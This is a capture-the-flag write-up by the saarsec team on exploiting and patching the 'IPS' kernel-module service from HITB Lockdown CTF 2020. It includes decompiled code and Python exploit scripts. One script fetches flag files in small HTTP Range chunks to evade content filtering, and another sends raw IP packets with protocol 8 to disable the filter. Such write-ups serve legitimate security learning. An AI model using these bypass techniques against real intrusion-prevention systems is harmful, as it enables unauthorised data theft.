Saarsec

saarsec

Schwenk and pwn

HITB Lockdown CTF 2020 - IPS

IPS is a simple Intrusion Prevention System (I guess?). The core functionality is simple: the gameserver will add a flag via a Python service, store that flag in a file (by default flags.txt) and invoke a custom kernel module called ips through /proc/ips/add.

Ok, so that sounds easy to exploit, so let’s just go ahead and grab flags.txt from other teams. If we try to do so, e.g., using curl, we see some output (especially later in the game), but at some point the connection is throttled and comes to a halt. So, why is that?

A kernel module to prevent leakage

In the kernel module, we find a function called find_basic_texts_in_pkg.part.0. Without needing to go into details, the function uses skb_find_text to determine if a blacklisted pattern is contained in a packet. If so, that packet just gets dropped. We deduced this from seeing how the code operated and what we observed from the service rather than actually looking into fully reversing this.

Bypassing a simple filter

Since we see that the entire flag is being added to the blacklist, we can already come up with the first exploit: as the packet is only dropped when the entire flag is contained, we can simply get smaller parts of the flag. In particular, a nice trick is using the Range header in HTTP. In particular, since we know flags are located in flags.txt, we can simply get the flag in chunks of at most 31 characters at a time.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import sys

CHUNKSIZE = 31

target = sys.argv[1]
content_length = requests.head("http://%s:3255/flags.txt" % target).headers["Content-Length"]

flag_buffer = ""

for i in range(0, content_length, CHUNKSIZE):
  # Note that the Range query returns data including the upper bound
  flag_buffer += requests.get("http://%s:3255/flags.txt" % target,
                              timeout=2,
                              headers={"Range": "bytes=%d-%d" % (i, min(i + CHUNK_SIZE - 1, content_length).text)

print(flag_buffer)

We used a bit more elaborate way, storing the number of bytes we had read the last time in a redis DB and getting data from the back (instead of the front). But this was just for optimization :-)

A closer look at main_hook

There are a couple of interesting global variables in the kernel module, in particular allow_all. Looking through the binary, we see the following code (decompiled with Ghidra):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
ulong main_hook(undefined8 param_1,long param_2)
{
  byte ip_proto;
  u_int16_t ip_checksum;
  long lVar1;
  int iVar2;
  iphdr *iphdr;
  long lVar3;
  uint retvalue;
  
  __fentry__();
  retvalue = allow_all;
  stats_packets = stats_packets + 1;
  if (param_2 == 0) {
    retvalue = 1;
    printk("Null skb struct\n");
    goto LAB_0010044f;
  }
  if (*(short *)(param_2 + 0xb0) == 8) {
    lVar3 = *(long *)(param_2 + 0xc0);
    iphdr = (iphdr *)((ulong)*(ushort *)(param_2 + 0xb4) + lVar3);
    ip_proto = iphdr->protocol;
    if (ip_proto == 8) {
      allow_all = 1;
      return 1;
    }
    if (ip_proto == 0xc) {
      allow_all = 0;
    }
    else {
      if (allow_all == 0) {
        if ((ip_proto & 0xef) == 1) {
          ip_checksum = iphdr->check;
        }
        else {
          if (ip_proto != 6) goto RET1;
          ip_checksum = iphdr->check;
        }
        if (ip_checksum != 0x3255) {
          if (*(int *)(param_2 + 0x74) != 0) {
            lVar3 = __pskb_pull_tail(param_2);
            if (lVar3 == 0) goto RET1;
            lVar3 = *(long *)(param_2 + 0xc0);
          }
          lVar1 = jiffies;
          if (((long)((lVar3 + (ulong)*(uint *)(param_2 + 0xb8)) - *(long *)(param_2 + 200)) < 0x14)
             || (iVar2 = find_basic_texts_in_pkg.part.0(param_2), iVar2 == 0)) {
            jiffiessum = jiffiessum + (jiffies - lVar1);
            return 1;
          }
          goto EXIT_FUNC;
        }
      }
    }
  }
RET1:
  retvalue = 1;
EXIT_FUNC:
  return (ulong)retvalue;
}

The important parts here are, first off all, lines 23 through 29. We can see that if the IP protocol of a (incoming or outgoing) packet is 8 (IP_PROTO_EGP), allow_all is set to 1. If we pay attention to line 31, we see that only if allow_all == 0, we even go through the pain of checking the content in the first place. So, all our exploit has to do is send a single packet with protocol set to IP_PROTO_EGP and we have effectively disable the kernel module. To ensure that only we benefit from it, we simply send another IP packet afterwards, setting its protocol to 0xc (IP_PROTO_PUP).

So, easy enough, here is the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import socket
import requests
import sys

def unblock(target):
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, 0x8)
    s.sendto(b'', (target, 0))


def block(target):
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, 0xc)
    s.sendto(b'', (target, 0))

unblock(target)
print(requests.get("http://%s:3255/list.py" % target, timeout=3).text)
block(target)

Unclear exploitability

There is another weird thing in the kernel module. We see that if the checksum of the IP packet is 0x3255 (line 39), we can also bypass the kernel module. However, in checking the IP packet header, we see that there are not really that many options to control for packets leaving the server. So, forcing the checksum of the outgoing packet to a specific value would have been touch. We thought about considering options which might be echoed back to us from the server, but even in that case determined that the IP identifier would be random and not something we’d control. If we are wrong, let us know :)

Playing with MSS

In theory, if the Maximum Segment Size of TCP is small enough, the operating system should emit small TCP segments, making sure that the flag is never contained in a single packet. iptables even has support for this feature, so we tried iptables -I FORWARD 1 -p tcp --dport 3255 -j TCPMSS --tcp-flags SYN,RST SYN --set-mss 16 -d 10.60.20.2 on our gateway. However, for some reason, this did not work out for us.

Patches/Fixes

Our first fix, easy enough, was to move the flags.txt file to another name. Second, we patched the kernel module to always set allow_all to 0 (essentially changing line 24). As a final step, we could safely remove list.py, which was never used by the gameserver. We did not notice the list.py trick for a while, so overall lost 41 flags. On the flip-side, we scored a staggering 4,174 flags, totaling 156902.13 points (almost 50% of all our points).

All in all a fun little service. Especially the trick with the different IP protocol would catch most teams off guard, as you tend to pay attention to TCP and UDP, not eBGP packets in your network traffic analysis :-)